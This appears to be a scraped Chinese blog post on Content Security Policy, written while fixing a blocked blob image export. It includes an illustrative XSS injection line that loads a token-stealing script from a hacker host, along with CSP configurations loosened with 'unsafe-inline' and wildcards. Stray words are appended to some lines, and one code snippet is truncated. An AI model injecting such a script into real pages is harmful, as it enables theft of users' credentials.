最近在修复公司系统一个图片导出的功能,没法导出图片html
blob:http://xxxx
,违反
Content Security Policy
, 因而就 google 一把,这个是什么玩意?
这是网站安全方面的内容了,对于网站跨域的问题错误很多见,跨域是因为同源策略致使的,只容许加载来自自身的origin 域的数据,即 a.com 是不能加载来自 b.com 的数据的,这样就解决大部分的安全问题,恶意代码就没法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,好比网站有个留言板功能,但后台未对用户输入进行过滤,攻击者能够在留言编辑框中输入前端
<script src="http://www.hacker.org/xss.payload.js"></script>
复制代码
,xss.payload.js能够获取老浏览用户的信息,如的登陆token、用户的我的资料等。之前的防护手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在作字符串验证,很是的让人不舒服。因此W3 org引入了CSP,它从另一层面给浏览器提供了保护。node
看看 MDN Content Security Policy的解释:web
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。不管是数据盗取、网站内容污染仍是散发恶意软件,这些攻击都是主要的手段。api
本文主要讲述如下几点内容:跨域
CSP 经过告诉浏览器一系列的规则,严格规定页面中哪些资源容许有哪些资源,不在指定范围内的通通拒绝,这样一来,从源头上杜绝了不可信的xss payload。浏览器
不管是在 <meta>
标签仍是在 header 中指定,其值的格式是统一的,都由一系列的指令组成的。安全
Content-Security-Policy: <policy-directive>; <policy-directive>
复制代码
这里的指令是CSP 规定中用以详细描述某种资源的判断,好比前面的错误图片中,img-src
指定图片,下面列出一些经常使用的指令bash
更多指令,见 MDN服务器
指令后面跟的来源,有两种写法:
除了上面配置的预设值,还能够经过提供完整的URI或带通配符 *
的地址来匹配,以指定资源的合法来源,跟配置跨域的相应头一致,参考Same-origin_policy
默认状况下,若是站点未指定 CSP 规则,浏览器不会默认开启,只受同源策略的影响。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>CSP 安全策略</title>
<style>
h1 {
color: cornflowerblue;
}
</style>
</head>
<body>
<h1>Hello CSP !</h1>
<script>
window.onload = () => alert("Hi, Jecyu");
</script>
</body>
</html>
复制代码
<head>
...
<meta http-equiv="Content-security-Policy" content="default-src 'self'" />
...
</head>
复制代码
效果:
配置站点默认只信息同域的资源,但注意,这个设置并不包含内联的状况,因此结果会如上图。如何修复它呢。若是咱们想要容许页面内的内联脚本或样式,则能够经过添加unsafe-inline
指令值来修复。
<meta http-equiv="Content-security-Policy" content="default-src 'self' 'unsafe-inline'"
/>
复制代码
default-src,若是指定了它的值,则至关于改变了这些未指定的指令的默认值。能够理解为,上面 style-src 若是没指定,原本其默认值是 *,能够加载全部来源的样式,但设置 default-src 后,默认值就成了 default-src 指定的值。
这里使用 node.js
const http = require("http");
const fs = require("fs");
const PORT = 8088;
const path = require("path");
console.log();
// 建立一个 http 服务
const server = http.createServer((request, response) => {
response.setHeader("Content-Type", "text/html;charset='utf-8'");
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader(
"Content-security-Policy",
"default-src 'self' 'unsafe-inline'"
);
// 读文件
fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) {
if (err) {
console.log(`index.html loading is failed` + err);
} else {
// 返回 HTML 页面
response.end(data);
}
});
});
// 启动服务,监听端口
server.listen(PORT, () => {
console.log("服务启动成功,正在监听: ", PORT);
});
复制代码
看看了请求首页的请求响应参数,以下:
经过前面的学习后,得知能够经过HTML或者Header进行对 CSP 规则的设置,从而避开限制。这里并无设置 img-src
,因为设置 default-src 'self' data: *;
,所以图片只能加载同域的图片data:前缀的值
从图片可知直接设置 img-src *
没有包括 blob
的数据规则, 来自 content-security-policy.com,
所以,须要添加声明规则,default-src blob: *
或img-src blob: *
在动态设置图片src的时候,先把blob 转为 base64
形式,这样就符合了 CSR 的设置规则了,图片就能够添加到 HTML中了。
var base64data = "";
xhr.onload = function() {
img = new Image();
var reader = new window.FileReader();
reader.readAsDataURL(this.response);
reader.onloadend = function() {
base64data = reader.result;
img.src = base64data;
};
img.addEventListener(
"load",
function() {
deferred.resolve(img);
URL.revokeObjectURL(_url);
},
false
);
img.addEventListener("error", function(errorEvent) {
deferred.resolve({
error: errorEvent,
image: img
});
URL.revokeObjectURL(_url);
});
};
xhr.onerror = function() {
var img = new Image();
deferred.resolve(img);
};
xhr.open("GET", url, true);
xhr.responseType = "blob";
xhr.send();
}
复制代码
(全文完)